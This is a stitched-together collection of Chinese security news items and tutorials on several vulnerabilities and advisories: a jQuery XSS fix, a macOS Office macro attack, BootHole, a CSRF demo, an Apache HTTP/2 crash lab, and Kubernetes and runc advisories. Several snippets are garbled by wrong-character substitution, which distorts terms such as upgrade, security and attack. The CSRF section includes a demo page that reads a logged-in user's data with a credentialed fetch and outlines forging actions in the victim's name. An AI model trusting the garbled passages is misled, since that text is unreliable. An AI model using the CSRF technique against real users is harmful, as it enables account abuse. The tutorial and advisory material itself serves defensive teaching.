https://wpvulndb.com/vulnerab...https://www.solidot.org/story...https://blog.nintechnet.com/c...https://cn.wordpress.org/plug...https://arstechnica.com/infor...

检测到指标站点存在javascript框架库破绽 绿盟科技web利用破绽扫描出存在跨站脚本攻打，解决办法提醒降级javaScript版本，查问了下是因为JQuery版本过低引起的，降级到3.3以上就行，但我的web我的项目是vue写的，不存在JQuery，是因为vue援用了js-cookie,删掉js-cookie，用localstorage寄存信息，从新打包就好了。

技术编辑：芒果果丨发自 思否编辑部SegmentFault 思否报道丨公众号：SegmentFault 明天的线上寰球顶级平安大会 Black Hat 上，平安钻研人员 Patrick Wardle 演示了一种 macOS 用户应用嵌入宏的 Microsoft Office 文件受到歹意攻打的状况。这种破绽能够向 macOS 用户发动歹意攻打，甚至可能导致黑客管制整个被入侵的 Mac。 长期以来，黑客始终应用嵌入宏的 Office 文件作为拜访 Windows 计算机的一种形式，Patrick Wardle 证实了这种攻打在 macOS 上也是可能的。依据他的说法，Mac 用户只有关上一个蕴含该破绽的 Microsoft Office 文件就可能受到攻打。 Microsoft Office 破绽可管制 macOSPatrick Wardle 在本人的博客上分享了他发现的利用 Office 文件影响macOS 的破绽，在明天的 Black Hat 会议上，他再次强调了这个破绽。 目前，苹果曾经修复了 Patrick Wardle 发现的，在macOS 10.15.3中呈现的破绽，该破绽曾经不能为黑客所用。但它提供了一个乏味的视角，让咱们看到了一个新兴的攻打办法。 Patrick Wardle 在博客中介绍了黑客攻击的具体步骤，概括来说就是应用了一个老旧的 .slk 格局的 Office 宏文件，可能在不告诉用户的状况下，在 macOS 上运行。 Patrick Wardle 说：“平安钻研人员很喜爱钻研这些古老的文件格式，因为它们是在没有人思考平安问题的时候创立的。” 即便在沙箱中，App 也会受到 API 滥用威逼在利用过期的文件格式让 macOS 在不告诉用户的状况下于 Microsoft Office 中运行宏操作之后，Patrick Wardle 还应用了另一个破绽，通过带有 $ 符号的文件、以从沙箱中逃逸。这个文件是一个 .zip 格局的文件，macOS 不会进行公证查看，也不会阻止用户关上这个来自未知开发者的文件。 ...

技术编辑：芒果果丨发自 思否编辑部SegmentFault 思否报道丨公众号：SegmentFault 影响平安启动性能的破绽有多厉害？大略就是会影响简直所有Linux 零碎应用的启动加载程序，以及简直所有应用平安启动的 Windows 设施吧...... 被称为“ BootHole”的破绽，就是这种平安启动性能破绽，在大多数笔记本电脑、台式机、工作站和服务器的平安启动性能中都属于高级别破绽。在取得了权限后，就能在你的零碎中如入无人之境随心所欲了。 什么是 BootHole？CVE-2020-10713，被称为 BootHole，CVSS 评级高达 8.2，位于默认的 GNU GRUB 2(GRUB2) ，即便运行零碎不应用 GRUB2，也会受到影响。 如果胜利利用了 BootHole，则即便在启用了平安启动的状况下，BootHole 也会关上 Windows 和 Linux 设施，任意执行代码。据 Eclypsium 的说法，这意味着攻击者能够通过机密装置恶意软件取得持久性，并给予他们对设施“简直齐全的管制”。 其实，往年 4 月，业界就发现了这种破绽的威逼，供应商随即开始共享信息，寻找解决办法。当初，这种破绽被曝光进去，像 Canonical，Microsoft，Red Hat，SUSE，Debian，Citrix，Oracle 和 VMware 都在明天发表了倡议和缓解措施，其中一些更新立刻可用，而其余更新仍将持续。 超 10 亿台设施处于危险之中对于有多少设施可能受到 BootHole 破绽威逼的问题，Eclypsium 研发部副总裁约翰•卢凯德斯说：“默认配置可通过 Microsoft UEFI 证书颁发机构启用平安启动，该证书颁发机构自 Windows 8 以来，简直在所有具备 Windows 徽标认证的设施上都签订了许多易受攻击的 GRUB 版本。” 因为平安疏导是自 Windows 8以来销售的大多数零碎的默认设置，Eclypsium 指出，这意味着“大多数笔记本电脑、台式机、服务器和工作站以及网络设备都受到了影响。”这个数字很容易超过 10 亿。 公布 Ubuntu 的 Canonical 公司的平安主管 Joe McManus 说：“这是一个乏味的破绽，感激 Eclypsium，Canonical 和其余开源社区一起，更新了 GRUB2 来抵挡 CVE-2020-10713。” ...

在刚刚过来的315晚会上，央视曝光了某些第三方开发的SDK包存在违规收集用户个人信息的状况，导致隐衷泄露问题。对此，工信部已要求依法依规严厉查处涉事企业，并示意将采取常态化监管措施，增强挪动互联网应用程序APP综合治理，并推动技术手段建设，大幅晋升技术检测程度。 全民“触网”时代，用户在高频应用手机APP的同时，也让本身裸露在诸多危险之下。随着挪动平安威逼一劳永逸，通过利用检测服务来晋升利用安全性，曾经“箭在弦上”。 如何高效率检测利用破绽，成为利用平安行业急需解决的难题，对此，腾讯平安科恩实验室推出ApkPecker工具，高准确率、高效率检测利用破绽。01 挪动利用破绽为何“频频”爆出？ 你可能很难设想，相似话费被扣、银行卡被盗刷、手机内信息被透露，这些问题的产生，可能只是因为手机里的某个APP被开发者写错了一个编码或者略微变动了某个参数。这些防不胜防的挪动平安问题，恰好反映了挪动利用行业的简单现状。 （图：来自腾讯平安科恩实验室2018年Android利用平安白皮书） 系统安全存在隐患，提前毁坏平安机制：Android作为一个开源零碎，所有人都能够钻研源码，进而依据需要开发新的零碎和应用程序，成为了恶意程序的人造温床。甚至局部用户会为了取得对手机的“自在掌控”权，被动获取root权限，不便本人应用的同时，也给了黑客入侵“窗口”。 开源组件碎片化，平安修复艰难：为进步利用开发效率，缩小相似性能的反复开发成本，利用开发商往往抉择引入公开现成的开源组件。但第三方开源组件自身存在的平安问题不易被开发商发现，从而在开发过程中转嫁给了挪动利用上，难以被追踪和修复。 平安能力有余，“避雷”力不从心：挪动利用开发自身门槛低，开源组件的复用进一步升高了开发难度，使初学者能够迅速学习并实现基本功能。因为这些开发人员平安能力无限，脱漏、误用安全措施都可能造成新的安全隐患。 平安投入有余，平安生命周期治理缺失：Android 挪动利用的开发波及诸多环节，每个环节都可能存在引发平安问题的破绽。因为平安投入有余，局部开发商无奈零碎、残缺地治理利用平安生命周期，没能在实现开发后进一步进行平安扫描、破绽修复等工作。 利用平安问题产生起因简单，繁多的零碎或者工具难以解决相干问题。对于平安人员来说，借助利用破绽扫描工具定位安全隐患并予以修复，是挪动利用平安的第一道 “防火墙”。 02腾讯平安ApkPecker 为利用检测提供最优解决方案 现有的利用检测以代码扫描为主，这种简略的检测模式检测进去的破绽无效信息少，须要破费微小的人工成本进行确认和剖析。这曾经成为平安人员在应用检测工具中的一大痛点。 基于此，腾讯平安科恩实验室自主研发了一款Android 利用破绽扫描工具ApkPecker，对利用破绽进行扫描，同时输入高质量破绽扫描报告，提供高品质破绽信息以及破绽触发残缺门路，精准定位破绽并提供修复倡议，为更多的企业、挪动平安人员提供更多的服务。 · 先进的检测模式 破绽检测就像是一场置身其中的“迷宫游戏”，随着检测工作的深刻，这个迷宫的形态逐步扩充。同时，你将领有多个终点和起点，但无奈确定这些点具体在哪里。尽管对这个迷宫的摸索可能达不到100%的残缺，但只有可能弄清楚其中的一条残缺门路，就可能胜利通关。 过来，简略的代码扫描检测，就相当于把迷宫的部分信息汇总，须要平安人员本人去判断、剖析破绽的触发门路。而腾讯ApkPecker采取动态检测形式，具体而言，动态扫描的技术原理是静态数据流剖析和污点剖析技术。基于此，ApkPecker可能构建所关注的数据流向，提供从数据源到破绽点的数据流门路，保留一次剖析中所有上下文信息，为破绽提供多层级的综合判断根据，进步准确率。 针对动态剖析的检测后果，ApkPecker反对POC程序的自动化生成，以动静程序自动化验证破绽，直观领会破绽可能产生的影响。目前，Apkpeckr反对生成的POC品种≥50 种。 · 全面的攻击面笼罩 参考木桶原理，利用平安危险并不以最强的进攻措施来掂量，而是由短板的攻击面危险状况决定。基于腾讯平安丰盛的挪动利用浸透测试教训和前沿的攻打模式分析总结，ApkPecker笼罩了公开组件、外置存储空间、WebView回调、JavaScriptInterface回调、凋谢Socket端口等全面的攻击面。 ApkPecker对上述攻击面的动态剖析后果不仅可能笼罩32种Android利用通用破绽模型，还能够提供从攻击面入口到破绽触发点的一条清晰残缺的数据流门路，帮忙平安人员精准定位破绽从而进行修复。 基于以上，ApkPecker会出具一份界面清晰敌对的检测报告，依据需要高精度筛选不同安全等级的破绽后果，并给出修复倡议。 （图：腾讯ApkPecker挪动利用平安检测报告） · 行业当先的检测准确率 整体来看，腾讯ApkPecker 的破绽主动开掘能力能够通过以下几个要害指标体现： 具备对程序源文件的破绽检测性能，反对检测破绽品种≥14种具备外部数据交互的破绽检测性能，反对检测破绽品种≥19种具备通信数据传输的破绽检测性能，反对检测破绽品种≥10种具备本地数据存储的破绽检测性能，反对检测破绽品种≥22种具备APP罕用的SDK的特色库，内置第三方sdk的特色≥1200个，对APP利用进行第三方sdk辨认具备针对破绽检测后果，反对POC程序的自动化生成，以动静程序自动化验证。反对生成的POC品种≥50种基于弱小的破绽检测能力和宏大的破绽检测规定库，腾讯ApkPecker已针对支流市场上30w+的利用进行了通用破绽检测，检测出476w+破绽，且破绽检测后果准确率≥85%，误报率不高于15%，处于行业领先水平。 · 能力凋谢 腾讯平安打造产业降级的“防护盾” 事实上，腾讯平安科恩实验室在挪动利用平安畛域深耕十余年，在成绩上，积攒了当先的技术实力和以及科研成果。在放弃对前沿技术钻研能力的同时，腾讯平安科恩实验室已通过产品化的形式向Google、PayPal等出名 开发商输入挪动利用平安检测能力，守护全网用户信息安全。 随同人工智能和机器学习技术在大数据时代迅猛发展，大量歹意样本以及破绽特色的积攒，为腾讯平安科恩实验室迭代产品和技术能力提供了数据根底。近年来，科恩实验室陆续凋谢本身核心技术能力，为汽车信息安全、智能利用生态平安、IoT信息安全等行业的数字化和信息化转型推出了聚焦产业理论痛点的行业平安解决方案，放慢与ICT、数字化汽车以及传统汽车等企业的单干。 将来，腾讯平安科恩实验室将持续凋谢技术能力，在更多重要的平安畛域，打造 “有形却可被感知，暗藏却可被号召，看不见却广为人知”的平安解决方案，成为各行业数字化转型改革的 “防护盾”。

CSRF 全称：Cross Site Request Forgery，译：跨站请求伪造 场景点击一个链接之后发现：账号被盗，钱被转走，或者莫名发表某些评论等一切自己不知情的操作。 CSRF是什么csrf 是一个可以发送http请求的脚本。可以伪装受害者向网站发送请求,达到修改网站数据的目的。 原理当你在浏览器上登录某网站后，cookie会保存登录的信息，这样在继续访问的时候不用每次都登录了，这个大家都知道。而CSRF就利用这个登陆态去发送恶意请求给后端。 为什么脚本可以获得目标网站的cookie呢？只要是请求目标网站，浏览器会自动带上该网站域名下面的cookie,看下面的脚本,可以证明恶意脚本可以获得CSDN网站的登录信息。前提是你已经在浏览器上登录了CSND网站。 <!doctype html><html> <head> <meta charset="utf-8"/> <title>csrf demo</title> </head> <body> 您在CSDN上的 粉丝数：<span id="fans_num"></span> 关注数：<span id="follow_num"></span> <script> fetch('https://me.csdn.net/api/relation/get', { credentials: 'include' }).then(res => res.json()) .then( res => { document.getElementById('fans_num').innerText = res.data.fans_num; document.getElementById('follow_num').innerText = res.data.follow_num; }) </script> </body></html>保证CSDN的登录状态，用浏览器打开这个html文件，可以看到这个脚本已经获得了我在csdn 上的用户信息。以及寒酸的粉丝数量!F12打开选择应用程序一栏左边Cookie 还有来自csdn网站关于当前用户的一些信息。 这个脚本让每个不同的登录用户打开，都会根据当前用户来展示关注数和粉丝数,这就足以说明可以获得目标网站的当前用户的信息，并能够代表用户发送请求。这只是个无害的get请求，如果是post请求呢？ CSRF攻击知道了原理，攻击就变得好理解了，接着上面的例子，我把请求地址改成评论本篇文章的url,参数为 “这篇文章写得6”，在没有CSRF防御的情况下，我发表一个评论如：脱单秘笈：，后面附上这个脚本的链接，只要有用户点了链接，就会以他的名义给本篇文章发评论“这篇文章写得6”。 CSDN 肯定是做了防御了哈，我就不白费力气了。 CSRF防御三种防御方式： 1. SameSit，禁止第三方网站使用本站Cookie。 这是后端在设置Cookie时候给SameSite的值设置为Strict或者Lax。当设置Strict的时候代表第三方网站所有请求都不能使用本站的Cookie。当设置Lax的时候代表只允许第三方网站的GET表单、<a>标签和<link>标签携带Cookie。当设置None的时候代表和没设一样。 @Beanpublic CookieSerializer httpSessionIdResolver(){ DefaultCookieSerializer cookieSerializer = new DefaultCookieSerializer(); cookieSerializer.setCookieName("JESSIONID"); cookieSerializer.setUseHttpOnlyCookie(true); cookieSerializer.setSameSite("Lax"); cookieSerializer.setUseSecureCookie(true); return cookieSerializer;}缺点：目前只有chrome浏览器支持........ ...

雷锋网 9月7日 消息，Check Point 研究人员发现，大量 Android 手机存在双因素身份验证漏洞，该漏洞可能令设备遭受到 sim 交换攻击。 据悉，这些易受攻击的安卓机型包括三星，华为，索尼和 LG，这些手机允许攻击者强制获取权限并访问用户信息。 上述提到的手机厂商在 3 月份被告知这些安全漏洞的存在。目前，三星和 LG 分别在 5 月和 7 月发布了补丁，华为计划在下一代 Mate 系列或 P 系列智能手机上发布该补丁。 另一方面，索尼尚未对漏洞做出修补，并拒绝一切基于标准措施的修改行为。此外，Check Point 的研究人员成功测试了不同机型上存在的漏洞，包括华为 P10，索尼 Xperia XZ Premium，LG G6 和三星 Galaxy S9。 值得注意的是，在这些品牌中三星手机最容易受到影响，因为它们完全没有信息真实性检测机制。 新闻来源：雷锋网

一、导语『洞察』是宜信安全部开发，集成应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的管理平台。 应用系统资产管理：对公司应用系统资产进行管理，包括系统名称、域名、重要级别、部门、负责人等。漏洞生命周期管理：对公司应用系统产生的安全漏洞进行线上提交、通告、知悉、复测、分类、风险计算、修复期限计算、邮件提醒、漏洞数据分析统计等。安全知识库管理：对安全知识、管理制度进行集中存放、线上学习、安全培训、知识传承等。『洞察』使用了Python语言进行开发，利用Flask框架+MySQL+Docker部署实现。 洞察界面截图如下： 二、设计理念应用安全管理从应用资产的风险评估开始，公司资产一旦多了之后，往往会面临资产不清晰、找不到负责人、漏洞持续跟踪成本高昂、安全知识难以沉淀、高频风险没有数据支持、不能有的放矢的解决核心问题，另外风险量化也是难题。 应用安全管理体系设计中，风险治理一般过程如下： 基于上述风险治理的实际需求，『洞察』应运而生。 三、平台亮点使用『洞察』系统后，我们实现了以下目标，请看大图： 历史漏洞一目了然 漏洞跟踪有条不紊 学习案例信手拈来 安全要求精准管控 威胁风险有理有据 量化数字实时知晓 四、使用指南平台用户分为以下5种角色 匿名用户：公司内部未登录用户普通用户：普通登录用户，指公司研发、业务、产品经理等。安全人员：安全部门进行漏洞测试、提交、跟踪修复的人员等。安全管理员：安全部门对漏洞进行审核的管理人员。超级管理员：最高权限账号，对用户的角色进行分配。以上5种角色对应的使用文档请见： 使用指南-匿名用户篇：https://github.com/creditease... 使用指南-普通用户篇：https://github.com/creditease..._user.md 使用指南-安全人员篇：https://github.com/creditease..._user.md 使用指南-安全管理员篇：https://github.com/creditease..._manager.md 使用指南-超级管理员篇：https://github.com/creditease..._user.md 五、项目地址OWASP项目地址 洞察-宜信漏洞管理平台目前已被OWASP S-SDLC项目组正式收录，更多英文版详情请见OWASP S-SDLC项目地址： https://www.owasp.org/index.p..._Secure_Software_Development_Lifecycle_Project#tab=Main https://www.owasp.org/index.p..._Secure_Software_Development_Lifecycle_Project#tab=Related_stuffs GitHub开源地址：https://github.com/creditease... 内容来源：宜信技术学院

一、实验原理介绍apache在其网站发布的安全公告，针对CVE-2017-7659漏洞的介绍是这样的： A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.可以看到这是apache WEB服务器（httpd）中的一个HTTP 2.0协议处理的漏洞。 有漏洞的服务器源码下载链接：https://archive.apache.org/di...通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数h2_stream_set_request_rec，发现是调用h2_request_rcreat创建http 2.0请求的数据结构req，h2_request_rcreat执行失败时req为空，此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃： 继续查看函数h2_request_rcreate，看到首先会把req置为0，然后判断4个变量r->method，scheme，r->hostname，path，任何一个为空则返回失败，而此时req还是0，就会导致进程崩溃： 那么这4个变量是哪一个为空导致的漏洞呢？scheme是先判断了是否为空再赋值的，首先排除；path是从r->parsed_uri中解析出来，解析函数apr_uri_unparse在其它地方有多次使用，直觉path也不会为空；r->method保存请求的方法字段，在HTTP请求中必须存在，因此也不应该为空；因此只有r->hostname，保存请求的主机名，也就是域名，可能为空。 我们知道，HTTP请求中，有2个地方可以表示主机名：1) 请求的路径以完整URL方式表示，URL中包含主机名，例如GET http://www.example.com/ HTTP/1.1，这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的2) 在Host请求头中包含主机名，例如：GET / HTTP/1.1Host: www.example.com 服务器中是在fix_hostname函数中解析这种主机名的分别审计ap_parse_uri和fix_hostname函数，发现如果请求中没有Host头，那么r->hostname确实是空。但是服务器也考虑到了这种情况，在ap_read_request函数中做了判断： 这里的判断逻辑，如果满足下面2个条件之一 1) r->hostname为空，且请求的HTTP版本大于等于1.12) 没有Host头，且请求的HTTP版本等于1.1就会立刻回复400状态码的错误页面，并不会触发后面的漏洞。在注释里也说明了，HTTP/1.1的RFC2616的14.23节中明确指明，HTTP/1.1请求必须包含Host头。但是，HTTP还有1.0版本，且HTTP/1.0和HTTP/1.1的处理流程一样，虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的，程序会一直按照流程执行，最终执行到h2_stream_set_request_rec函数，此时r->hostname为空，从而触发漏洞。 综合上面的分析，该漏洞利用成功需要如下条件： 1) 服务器支持HTTP/22) 请求是HTTP/1.0版本3) 请求中没有Host头二、环境配置介绍1）、实验的环境CentOS 7，2.4.25版本的Apache Httpd服务器2）、Apache的安装前的准备工作安装Sqllite# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz# tar zxf sqlite-autoconf-3080704.tar.gz# cd sqlite-autoconf-3080704# ./configure --prefix=/usr/local/sqlite-3.8.7.4# make && make install安装apr# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz# tar zxf apr-1.5.2.tar.gz# cd apr-1.5.2# ./configure --prefix=/usr/local/apr-1.5.2# make && make install安装apr-util# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz# tar zxf apr-util-1.5.4.tar.gz# cd apr-util-1.5.4# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2# make && make install安装nghttp2# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz# tar zxf nghttp2-1.38.0.tar.gz# cd nghttp2-1.38.0# ./configure --prefix=/usr/local/nghttp2-1.38.0# make && make install# 最后安装2.4.25版本的Apache服务器# cd /usr/local/src# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz# cd httpd-2.4.25# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4# make && make install# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default# ln -s /usr/local/apache-2.4.25/ /usr/local/apache3）、修改配置文件httpd.conf，并测试Apache是否能运行1、设置服务器监听的端口 ...

Vitaliy Kolesov 原作，授权 LeanCloud 翻译。 加固服务器并不难，但有很多例行操作需要进行时，有可能会遗忘。以我为例，刚买的服务器就在两周内被人入侵了。有天早上我收到几封来自第三方的邮件，说我服务器上有东西在尝试入侵他们的服务器。所以，我需要快速解决这个问题。 如何查找漏洞我碰到的情况比较简单，我执行了以下命令： cat /var/log/auth.log | grep Accepted该命令返回了我的服务器上的成功认证记录，其中有一个 IP 不是我的。所以，是 SSH 服务被入侵了。 别忘了还有一个命令 last，这个命令返回最近成功登录的用户。 如何加固服务器购买服务器后需要立刻进行的操作： 安装 ufw，简单易用的防火墙软件；关闭除 SSH、HTTP(s) 外的所有端口；安装配置 fail2ban 工具。这个工具基于 /var/log/auth.log 识别恶意行为并封禁 IP；修改 sshd 配置，只使用密钥认证。具体怎么做？如果发生了入侵，你需要知道如何调查和清扫。最好的方式是重新创建 VPS。我就是这么做的。我在 hetzner 买了服务器，它的控制台提供了重新创建（移除旧 VPS，新建一个）VPS 并保留原 IP 的功能。 所以我重新创建了一个 VPS。之后我在本地计算机上使用 ssh-keygen 工具（标准 OpenSSH 包的一部分）生成了 SSH 密钥：（下面的命令同时适用于 Linux 和 macOS） ssh-keygen该命令在 ~/.ssh 目录中创建了一对密钥。之后运行以下命令： ssh-copy-id you_user@your_server_id该命令会将新创建的公钥上传到服务器。接下来，登录服务器并修改 sshd 配置： nano /etc/ssh/sshd_config修改配置文件中的 PasswordAuthentication 配置： PasswordAuthentication no这一配置禁用了使用密码登录（只能使用密钥登录）。 安装配置 ufw 和 fail2ban服务器上我用的系统是 Ubuntu，所以通过以下命令可以安装这两个工具： ...

Kubernetes社区你好，在kube-apiserver中发现了拒绝服务漏洞，其中具有API写入权限的授权用户可以在处理写入请求时导致API服务器消耗过多的资源。问题是中等严重性，可以通过将kube-apiserver升级到v1.11.8、v1.12.6或v1.13.4来解决。我使用的版本是脆弱吗？以下版本的kube-apiserver易受攻击：v1.0.0-1.10.xv1.11.0-1.11.7v1.12.0-1.12.5v1.13.0-1.13.3如何在升级之前缓解漏洞？对不受信任的用户删除“patch”权限。漏洞详细信息有权向Kubernetes API服务器发出补丁（patch）请求的用户可以发送特制的“json-patch”补丁（例如kubectl patch –type json或“Content-Type: application/json-patch+json”）处理时消耗过多资源，导致API服务器上的拒绝服务。没有与此漏洞相关的信息泄露或权限升级。这漏洞提交为CVE-2019-1002100。我们将其评为CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H（6.5，中等）。请参阅GitHub问题#74534了解更多详情。谢谢感谢Carl Henrik Lunde报告此问题。请注意，如果您在Kubernetes中发现安全漏洞，请按照安全公开流程进行报告。感谢Chao Xu和Jordan Liggitt开发修复程序，感谢修补程序发布经理Aleksandra Malinowska、Timothy Pepper、Pengfei Ni和Anirudh Ramanathan协调发布。-CJ Cullen代表Kubernetes产品安全团队KubeCon + CloudNativeCon和Open Source Summit大会日期：会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日KubeCon + CloudNativeCon和Open Source Summit赞助方案KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国KubeCon + CloudNativeCon和Open Source Summit购票窗口，立即购票！

尊敬的腾讯云客户，您好： 近日，腾讯云安全中心监测发现轻量级容器运行环境runc被爆存在容器逃逸漏洞，攻击者可以在利用该漏洞覆盖Host上的runc文件，从而在Host上以root权限执行代码。 为避免您的业务受影响，腾讯云安全中心建议您及时开展安全自查，如在受影响范围，请您及时进行更新修复，避免被外部攻击者入侵。 【漏洞详情】 runc是一个轻量级通用容器运行环境，它是一个命令行工具，可以根据开放容器方案（Open Container Initiative）生成和运行容器，该漏洞若被利用，会允许恶意容器(以最少的用户交互)覆盖Host上的runc文件，从而在Host上以root权限执行代码，进而攻击其它容器或Host。目前CVSSv3官方评分达7.2分。 【风险等级】 高风险 【漏洞风险】 容器逃逸攻击风险，存在漏洞的runc被利用后可以获取Host的root权限，并利用该权限攻击其他容器或机器。 【影响版本】 除runc之外，Apache Mesos、LXC也在受影响之列。 【修复建议】 若您使用的是腾讯云容器服务TKE， 您可以通过以下方法进行漏洞修复 1. TKE 已经修复增量版本，新创建的集群和新加入的节点不受影响 2.若Docker版本为17.12.1的容器节点，可用root权限执行以下命令升级runc版本。此方法不影响该节点正在运行的业务。 wget http://static.ccs.tencentyun…. chmod +x ./docker17.12-runc-e25b2183f mv /usr/bin/docker-runc /usr/bin/docker-runc-$(date -Iseconds) mv docker17.12-runc-e25b2183f /usr/bin/docker-runc 验证是否升级成功： 执行docker-runc -v， 应该看到如下版本信息： runc version 1.0.0-rc4+dev commit: e25b2183f48e942cb41582898acbf7e24b5d2f31 spec: 1.0.0 3. 目前TKE已修复增量Docker版本，您存量的节点可以通过移出集群再加入集群触发节点重新初始化进行修复。此方法不限制Docker版本但会造成节点重启。 【漏洞参考】 1）漏洞详情：https://www.openwall.com/list… 2）修复参考：https://github.com/opencontai… 3）LXC修复：https://github.com/lxc/lxc/co…